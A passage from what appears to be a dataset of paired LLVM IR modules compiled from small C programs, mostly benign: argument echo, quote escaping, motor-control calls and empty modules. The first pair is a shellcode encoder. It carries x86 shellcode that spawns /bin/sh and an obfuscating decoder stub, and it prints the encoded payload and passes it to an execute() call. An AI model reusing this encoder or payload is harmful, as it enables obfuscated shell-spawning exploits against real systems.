declare i32 @strcat(ptr noundef, ptr noundef) #2
declare i32 @printf(ptr noundef, ...) #2
declare i32 @execute(ptr noundef) #2
declare i32 @free(ptr noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpla2pusa2.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@__const.main.decoder = private unnamed_addr constant [25 x i8] c"\EB\11^1\C9\B1\00\80l\0E\FF\00\80\E9\01u\F6\EB\05\E8\EA\FF\FF\FF\00", align 16
@__const.main.shellcode = private unnamed_addr constant [30 x i8] c"\EB\0E^1\C0\88F\07PPV\B0;P\CD\80\E8\ED\FF\FF\FF/bin/sh#\00", align 16
@.str = private unnamed_addr constant [22 x i8] c"\0A\0Achar shellcode[] =\0A\00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"\22\0A\00", align 1
@.str.2 = private unnamed_addr constant [3 x i8] c"\09\22\00", align 1
@.str.3 = private unnamed_addr constant [7 x i8] c"\\x%02x\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca [25 x i8], align 16
%3 = alloca [30 x i8], align 16
%4 = alloca i8, align 1
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
store i32 0, ptr %1, align 4
call void @llvm.memcpy.p0.p0.i64(ptr align 16 %2, ptr align 16 @__const.main.decoder, i64 25, i1 false)
call void @llvm.memcpy.p0.p0.i64(ptr align 16 %3, ptr align 16 @__const.main.shellcode, i64 30, i1 false)
store i32 53, ptr %6, align 4
store i32 15, ptr %8, align 4
store i32 0, ptr %7, align 4
%9 = load i32, ptr %7, align 4
%10 = getelementptr inbounds [30 x i8], ptr %3, i64 0, i64 0
%11 = call i32 @strlen(ptr noundef %10)
%12 = icmp slt i32 %9, %11
br i1 %12, label %.lr.ph, label %28
.lr.ph: ; preds = %0
br label %13
13: ; preds = %.lr.ph, %22
%14 = load i32, ptr %6, align 4
%15 = load i32, ptr %7, align 4
%16 = sext i32 %15 to i64
%17 = getelementptr inbounds [30 x i8], ptr %3, i64 0, i64 %16
%18 = load i8, ptr %17, align 1
%19 = sext i8 %18 to i32
%20 = add nsw i32 %19, %14
%21 = trunc i32 %20 to i8
store i8 %21, ptr %17, align 1
br label %22
22: ; preds = %13
%23 = load i32, ptr %7, align 4
%24 = add nsw i32 %23, 1
store i32 %24, ptr %7, align 4
%25 = load i32, ptr %7, align 4
%26 = call i32 @strlen(ptr noundef %10)
%27 = icmp slt i32 %25, %26
br i1 %27, label %13, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %22
br label %28
28: ; preds = %._crit_edge, %0
%29 = getelementptr inbounds [30 x i8], ptr %3, i64 0, i64 0
%30 = call i32 @strlen(ptr noundef %29)
%31 = getelementptr inbounds [25 x i8], ptr %2, i64 0, i64 6
%32 = load i8, ptr %31, align 2
%33 = sext i8 %32 to i32
%34 = add nsw i32 %33, %30
%35 = trunc i32 %34 to i8
store i8 %35, ptr %31, align 2
%36 = load i32, ptr %6, align 4
%37 = getelementptr inbounds [25 x i8], ptr %2, i64 0, i64 11
%38 = load i8, ptr %37, align 1
%39 = sext i8 %38 to i32
%40 = add nsw i32 %39, %36
%41 = trunc i32 %40 to i8
store i8 %41, ptr %37, align 1
%42 = getelementptr inbounds [30 x i8], ptr %3, i64 0, i64 0
%43 = call i32 @strlen(ptr noundef %42)
%44 = getelementptr inbounds [25 x i8], ptr %2, i64 0, i64 0
%45 = call i32 @strlen(ptr noundef %44)
%46 = add nsw i32 %43, %45
%47 = call i64 @malloc(i32 noundef %46)
%48 = inttoptr i64 %47 to ptr
store ptr %48, ptr %5, align 8
%49 = load ptr, ptr %5, align 8
%50 = getelementptr inbounds [25 x i8], ptr %2, i64 0, i64 0
%51 = call i32 @strcat(ptr noundef %49, ptr noundef %50)
%52 = load ptr, ptr %5, align 8
%53 = getelementptr inbounds [30 x i8], ptr %3, i64 0, i64 0
%54 = call i32 @strcat(ptr noundef %52, ptr noundef %53)
%55 = call i32 (ptr, ...) @printf(ptr noundef @.str)
store i32 0, ptr %7, align 4
%56 = load i32, ptr %7, align 4
%57 = load ptr, ptr %5, align 8
%58 = call i32 @strlen(ptr noundef %57)
%59 = icmp slt i32 %56, %58
br i1 %59, label %.lr.ph2, label %87
.lr.ph2: ; preds = %28
br label %60
60: ; preds = %.lr.ph2, %80
%61 = load i32, ptr %8, align 4
%62 = icmp sge i32 %61, 15
br i1 %62, label %63, label %70
63: ; preds = %60
%64 = load i32, ptr %7, align 4
%65 = icmp ne i32 %64, 0
br i1 %65, label %66, label %68
66: ; preds = %63
%67 = call i32 (ptr, ...) @printf(ptr noundef @.str.1)
br label %68
68: ; preds = %66, %63
%69 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
store i32 0, ptr %8, align 4
br label %70
70: ; preds = %68, %60
%71 = load i32, ptr %8, align 4
%72 = add nsw i32 %71, 1
store i32 %72, ptr %8, align 4
%73 = load ptr, ptr %5, align 8
%74 = load i32, ptr %7, align 4
%75 = sext i32 %74 to i64
%76 = getelementptr inbounds i8, ptr %73, i64 %75
%77 = load i8, ptr %76, align 1
%78 = zext i8 %77 to i32
%79 = call i32 (ptr, ...) @printf(ptr noundef @.str.3, i32 noundef %78)
br label %80
80: ; preds = %70
%81 = load i32, ptr %7, align 4
%82 = add nsw i32 %81, 1
store i32 %82, ptr %7, align 4
%83 = load i32, ptr %7, align 4
%84 = load ptr, ptr %5, align 8
%85 = call i32 @strlen(ptr noundef %84)
%86 = icmp slt i32 %83, %85
br i1 %86, label %60, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %80
br label %87
87: ; preds = %._crit_edge3, %28
%88 = load ptr, ptr %5, align 8
%89 = call i32 @execute(ptr noundef %88)
%90 = load ptr, ptr %5, align 8
%91 = call i32 @free(ptr noundef %90)
%92 = load i32, ptr %1, align 4
ret i32 %92
}
; Function Attrs: nocallback nofree nounwind willreturn memory(argmem: readwrite)
declare void @llvm.memcpy.p0.p0.i64(ptr noalias nocapture writeonly, ptr noalias nocapture readonly, i64, i1 immarg) #1
declare i32 @strlen(ptr noundef) #2
declare i64 @malloc(i32 noundef) #2
declare i32 @strcat(ptr noundef, ptr noundef) #2
declare i32 @printf(ptr noundef, ...) #2
declare i32 @execute(ptr noundef) #2
declare i32 @free(ptr noundef) #2
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { nocallback nofree nounwind willreturn memory(argmem: readwrite) }
attributes #2 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmpyu3ygi7h.c'
source_filename = "/tmp/tmpyu3ygi7h.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stderr = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [39 x i8] c"Incorrect number of arguments, got %i\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%6 = load i32, ptr %4, align 4
%7 = icmp ne i32 %6, 2
br i1 %7, label %8, label %12
8: ; preds = %2
%9 = load i32, ptr @stderr, align 4
%10 = load i32, ptr %4, align 4
%11 = call i32 @fprintf(i32 noundef %9, ptr noundef @.str, i32 noundef %10)
store i32 1, ptr %3, align 4
br label %17
12: ; preds = %2
%13 = load ptr, ptr %5, align 8
%14 = getelementptr inbounds ptr, ptr %13, i64 1
%15 = load ptr, ptr %14, align 8
%16 = call i32 @puts(ptr noundef %15)
store i32 0, ptr %3, align 4
br label %17
17: ; preds = %12, %8
%18 = load i32, ptr %3, align 4
ret i32 %18
}
declare i32 @fprintf(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @puts(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpyu3ygi7h.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@stderr = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [39 x i8] c"Incorrect number of arguments, got %i\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
%6 = load i32, ptr %4, align 4
%7 = icmp ne i32 %6, 2
br i1 %7, label %8, label %12
8: ; preds = %2
%9 = load i32, ptr @stderr, align 4
%10 = load i32, ptr %4, align 4
%11 = call i32 @fprintf(i32 noundef %9, ptr noundef @.str, i32 noundef %10)
store i32 1, ptr %3, align 4
br label %17
12: ; preds = %2
%13 = load ptr, ptr %5, align 8
%14 = getelementptr inbounds ptr, ptr %13, i64 1
%15 = load ptr, ptr %14, align 8
%16 = call i32 @puts(ptr noundef %15)
store i32 0, ptr %3, align 4
br label %17
17: ; preds = %12, %8
%18 = load i32, ptr %3, align 4
ret i32 %18
}
declare i32 @fprintf(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @puts(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmptzq2wegj.c'
source_filename = "/tmp/tmptzq2wegj.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @fix_string_quote(ptr noundef %0, ptr noundef %1, i32 noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca i32, align 4
store ptr %0, ptr %4, align 8
store ptr %1, ptr %5, align 8
store i32 %2, ptr %6, align 4
%10 = load ptr, ptr %4, align 8
%11 = call i32 @strlen(ptr noundef %10)
store i32 %11, ptr %7, align 4
store i32 0, ptr %9, align 4
store i32 0, ptr %8, align 4
br label %12
12: ; preds = %52, %3
%13 = load i32, ptr %8, align 4
%14 = load i32, ptr %7, align 4
%15 = icmp slt i32 %13, %14
br i1 %15, label %16, label %20
16: ; preds = %12
%17 = load i32, ptr %9, align 4
%18 = load i32, ptr %6, align 4
%19 = icmp slt i32 %17, %18
br label %20
20: ; preds = %16, %12
%21 = phi i1 [ false, %12 ], [ %19, %16 ]
br i1 %21, label %22, label %53
22: ; preds = %20
%23 = load ptr, ptr %4, align 8
%24 = load i32, ptr %8, align 4
%25 = sext i32 %24 to i64
%26 = getelementptr inbounds i8, ptr %23, i64 %25
%27 = load i8, ptr %26, align 1
%28 = sext i8 %27 to i32
%29 = icmp eq i32 %28, 34
br i1 %29, label %30, label %36
30: ; preds = %22
%31 = load ptr, ptr %5, align 8
%32 = load i32, ptr %9, align 4
%33 = add nsw i32 %32, 1
store i32 %33, ptr %9, align 4
%34 = sext i32 %32 to i64
%35 = getelementptr inbounds i8, ptr %31, i64 %34
store i8 92, ptr %35, align 1
br label %36
36: ; preds = %30, %22
%37 = load i32, ptr %9, align 4
%38 = load i32, ptr %6, align 4
%39 = icmp slt i32 %37, %38
br i1 %39, label %40, label %52
40: ; preds = %36
%41 = load ptr, ptr %4, align 8
%42 = load i32, ptr %8, align 4
%43 = add nsw i32 %42, 1
store i32 %43, ptr %8, align 4
%44 = sext i32 %42 to i64
%45 = getelementptr inbounds i8, ptr %41, i64 %44
%46 = load i8, ptr %45, align 1
%47 = load ptr, ptr %5, align 8
%48 = load i32, ptr %9, align 4
%49 = add nsw i32 %48, 1
store i32 %49, ptr %9, align 4
%50 = sext i32 %48 to i64
%51 = getelementptr inbounds i8, ptr %47, i64 %50
store i8 %46, ptr %51, align 1
br label %52
52: ; preds = %40, %36
br label %12, !llvm.loop !6
53: ; preds = %20
%54 = load ptr, ptr %5, align 8
%55 = load i32, ptr %9, align 4
%56 = sext i32 %55 to i64
%57 = getelementptr inbounds i8, ptr %54, i64 %56
store i8 0, ptr %57, align 1
%58 = load i32, ptr %9, align 4
ret i32 %58
}
declare i32 @strlen(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmptzq2wegj.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @fix_string_quote(ptr noundef %0, ptr noundef %1, i32 noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca i32, align 4
store ptr %0, ptr %4, align 8
store ptr %1, ptr %5, align 8
store i32 %2, ptr %6, align 4
%10 = load ptr, ptr %4, align 8
%11 = call i32 @strlen(ptr noundef %10)
store i32 %11, ptr %7, align 4
store i32 0, ptr %9, align 4
store i32 0, ptr %8, align 4
br label %12
12: ; preds = %52, %3
%13 = load i32, ptr %8, align 4
%14 = load i32, ptr %7, align 4
%15 = icmp slt i32 %13, %14
br i1 %15, label %16, label %20
16: ; preds = %12
%17 = load i32, ptr %9, align 4
%18 = load i32, ptr %6, align 4
%19 = icmp slt i32 %17, %18
br label %20
20: ; preds = %16, %12
%21 = phi i1 [ false, %12 ], [ %19, %16 ]
br i1 %21, label %22, label %53
22: ; preds = %20
%23 = load ptr, ptr %4, align 8
%24 = load i32, ptr %8, align 4
%25 = sext i32 %24 to i64
%26 = getelementptr inbounds i8, ptr %23, i64 %25
%27 = load i8, ptr %26, align 1
%28 = sext i8 %27 to i32
%29 = icmp eq i32 %28, 34
br i1 %29, label %30, label %36
30: ; preds = %22
%31 = load ptr, ptr %5, align 8
%32 = load i32, ptr %9, align 4
%33 = add nsw i32 %32, 1
store i32 %33, ptr %9, align 4
%34 = sext i32 %32 to i64
%35 = getelementptr inbounds i8, ptr %31, i64 %34
store i8 92, ptr %35, align 1
br label %36
36: ; preds = %30, %22
%37 = load i32, ptr %9, align 4
%38 = load i32, ptr %6, align 4
%39 = icmp slt i32 %37, %38
br i1 %39, label %40, label %52
40: ; preds = %36
%41 = load ptr, ptr %4, align 8
%42 = load i32, ptr %8, align 4
%43 = add nsw i32 %42, 1
store i32 %43, ptr %8, align 4
%44 = sext i32 %42 to i64
%45 = getelementptr inbounds i8, ptr %41, i64 %44
%46 = load i8, ptr %45, align 1
%47 = load ptr, ptr %5, align 8
%48 = load i32, ptr %9, align 4
%49 = add nsw i32 %48, 1
store i32 %49, ptr %9, align 4
%50 = sext i32 %48 to i64
%51 = getelementptr inbounds i8, ptr %47, i64 %50
store i8 %46, ptr %51, align 1
br label %52
52: ; preds = %40, %36
br label %12, !llvm.loop !6
53: ; preds = %20
%54 = load ptr, ptr %5, align 8
%55 = load i32, ptr %9, align 4
%56 = sext i32 %55 to i64
%57 = getelementptr inbounds i8, ptr %54, i64 %56
store i8 0, ptr %57, align 1
%58 = load i32, ptr %9, align 4
ret i32 %58
}
declare i32 @strlen(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
|
; ModuleID = '/tmp/tmp4hosu4ha.c'
source_filename = "/tmp/tmp4hosu4ha.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
store i32 0, ptr %1, align 4
%2 = call i32 @mav(i32 noundef 0, i32 noundef 1000)
%3 = call i32 @mav(i32 noundef 2, i32 noundef 1000)
%4 = call i32 @msleep(i32 noundef 4000)
%5 = call i32 (...) @ao()
%6 = call i32 @mav(i32 noundef 0, i32 noundef 1000)
%7 = call i32 @mav(i32 noundef 2, i32 noundef 500)
%8 = call i32 @msleep(i32 noundef 5000)
%9 = call i32 (...) @ao()
%10 = call i32 @mav(i32 noundef 0, i32 noundef 1000)
%11 = call i32 @mav(i32 noundef 2, i32 noundef 1000)
%12 = call i32 @msleep(i32 noundef 3000)
%13 = call i32 (...) @ao()
ret i32 0
}
declare i32 @mav(i32 noundef, i32 noundef) #1
declare i32 @msleep(i32 noundef) #1
declare i32 @ao(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp4hosu4ha.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
store i32 0, ptr %1, align 4
%2 = call i32 @mav(i32 noundef 0, i32 noundef 1000)
%3 = call i32 @mav(i32 noundef 2, i32 noundef 1000)
%4 = call i32 @msleep(i32 noundef 4000)
%5 = call i32 (...) @ao()
%6 = call i32 @mav(i32 noundef 0, i32 noundef 1000)
%7 = call i32 @mav(i32 noundef 2, i32 noundef 500)
%8 = call i32 @msleep(i32 noundef 5000)
%9 = call i32 (...) @ao()
%10 = call i32 @mav(i32 noundef 0, i32 noundef 1000)
%11 = call i32 @mav(i32 noundef 2, i32 noundef 1000)
%12 = call i32 @msleep(i32 noundef 3000)
%13 = call i32 (...) @ao()
ret i32 0
}
declare i32 @mav(i32 noundef, i32 noundef) #1
declare i32 @msleep(i32 noundef) #1
declare i32 @ao(...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmplk7zgupi.c'
source_filename = "/tmp/tmplk7zgupi.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmplk7zgupi.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpl1xamrn_.c'
source_filename = "/tmp/tmpl1xamrn_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpl1xamrn_.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpv_6fsb4u.c'
source_filename = "/tmp/tmpv_6fsb4u.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpv_6fsb4u.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp61nmfjv0.c'
source_filename = "/tmp/tmp61nmfjv0.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@EOF = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [3 x i8] c"%c\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @echo2file(ptr noundef %0, ptr noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca ptr, align 8
%5 = alloca i32, align 4
store ptr %0, ptr %3, align 8
store ptr %1, ptr %4, align 8
br label %6
6: ; preds = %11, %2
%7 = load ptr, ptr %3, align 8
%8 = call i32 @getc(ptr noundef %7)
store i32 %8, ptr %5, align 4
%9 = load i32, ptr @EOF, align 4
%10 = icmp ne i32 %8, %9
